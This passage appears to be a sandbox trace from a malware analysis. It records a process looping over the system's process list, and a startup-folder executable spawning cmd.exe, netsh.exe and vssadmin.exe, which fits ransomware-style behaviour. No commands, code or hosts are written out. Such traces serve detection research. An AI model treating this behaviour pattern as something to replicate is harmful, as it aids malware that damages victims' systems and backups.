dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.803] GetLastError () returned 0x12 [0053.803] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.803] GetLastError () returned 0x12 [0053.804] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.804] GetLastError () returned 0x12 [0053.804] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0053.805] GetLastError () returned 0x12 [0053.805] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0053.806] GetLastError () returned 0x12 [0053.806] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0053.806] GetLastError () returned 0x12 [0053.806] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0053.807] GetLastError () returned 0x12 [0053.807] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0053.808] GetLastError () returned 0x12 [0053.808] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0053.808] GetLastError () returned 0x12 [0053.808] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0053.809] GetLastError () returned 0x12 [0053.809] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0053.810] GetLastError () returned 0x12 [0053.810] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0053.810] GetLastError () returned 0x12 [0053.810] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0053.811] GetLastError () returned 0x12 [0053.811] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0053.812] GetLastError () returned 0x12 [0053.812] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0053.812] GetLastError () returned 0x12 [0053.813] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0053.813] GetLastError () returned 0x12 [0053.813] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0053.814] GetLastError () returned 0x12 [0053.814] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0053.815] GetLastError () returned 0x12 [0053.815] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0053.816] GetLastError () returned 0x12 [0053.816] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0053.817] GetLastError () returned 0x12 [0053.817] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0053.818] GetLastError () returned 0x12 [0053.818] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0053.818] GetLastError () returned 0x12 [0053.818] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0053.819] GetLastError () returned 0x12 [0053.819] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0053.820] GetLastError () returned 0x12 [0053.820] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0053.820] GetLastError () returned 0x12 [0053.820] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0053.821] GetLastError () returned 0x12 [0053.821] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.822] GetLastError () returned 0x12 [0053.822] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0053.822] GetLastError () returned 0x12 [0053.823] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0053.823] GetLastError () returned 0x12 [0053.823] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.824] GetLastError () returned 0x12 [0053.824] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.825] GetLastError () returned 0x12 [0053.825] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.825] GetLastError () returned 0x12 [0053.825] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.826] GetLastError () returned 0x12 [0053.826] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0053.827] GetLastError () returned 0x12 [0053.827] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.827] GetLastError () returned 0x12 [0053.827] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.828] GetLastError () returned 0x12 [0053.828] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.829] GetLastError () returned 0x12 [0053.829] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.830] CloseHandle (hObject=0x174) returned 1 [0053.830] Sleep (dwMilliseconds=0x1f4) [0054.833] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x174 [0054.835] Process32FirstW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.836] GetLastError () returned 0x12 [0054.836] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.836] GetLastError () returned 0x12 [0054.837] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.837] GetLastError () returned 0x12 [0054.837] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.838] GetLastError () returned 0x12 [0054.838] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.839] GetLastError () returned 0x12 [0054.839] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.839] GetLastError () returned 0x12 [0054.839] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.840] GetLastError () returned 0x12 [0054.840] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.841] GetLastError () returned 0x12 [0054.841] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.841] GetLastError () returned 0x12 [0054.841] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.842] GetLastError () returned 0x12 [0054.842] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.843] GetLastError () returned 0x12 [0054.843] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.843] GetLastError () returned 0x12 [0054.843] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.844] GetLastError () returned 0x12 [0054.844] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.845] GetLastError () returned 0x12 [0054.845] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.846] GetLastError () returned 0x12 [0054.846] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.846] GetLastError () returned 0x12 [0054.846] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.847] GetLastError () returned 0x12 [0054.847] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.848] GetLastError () returned 0x12 [0054.848] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.848] GetLastError () returned 0x12 [0054.848] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.849] GetLastError () returned 0x12 [0054.849] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.850] GetLastError () returned 0x12 [0054.850] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.850] GetLastError () returned 0x12 [0054.850] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.851] GetLastError () returned 0x12 [0054.851] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.852] GetLastError () returned 0x12 [0054.852] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.852] GetLastError () returned 0x12 [0054.852] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0054.853] GetLastError () returned 0x12 [0054.853] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0054.854] GetLastError () returned 0x12 [0054.854] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0054.855] GetLastError () returned 0x12 [0054.855] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0054.855] GetLastError () returned 0x12 [0054.855] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0054.856] GetLastError () returned 0x12 [0054.856] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0054.857] GetLastError () returned 0x12 [0054.857] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0054.857] GetLastError () returned 0x12 [0054.857] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0054.858] GetLastError () returned 0x12 [0054.858] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0054.859] GetLastError () returned 0x12 [0054.859] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0054.859] GetLastError () returned 0x12 [0054.859] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0054.899] GetLastError () returned 0x12 [0054.899] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0054.900] GetLastError () returned 0x12 [0054.900] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, 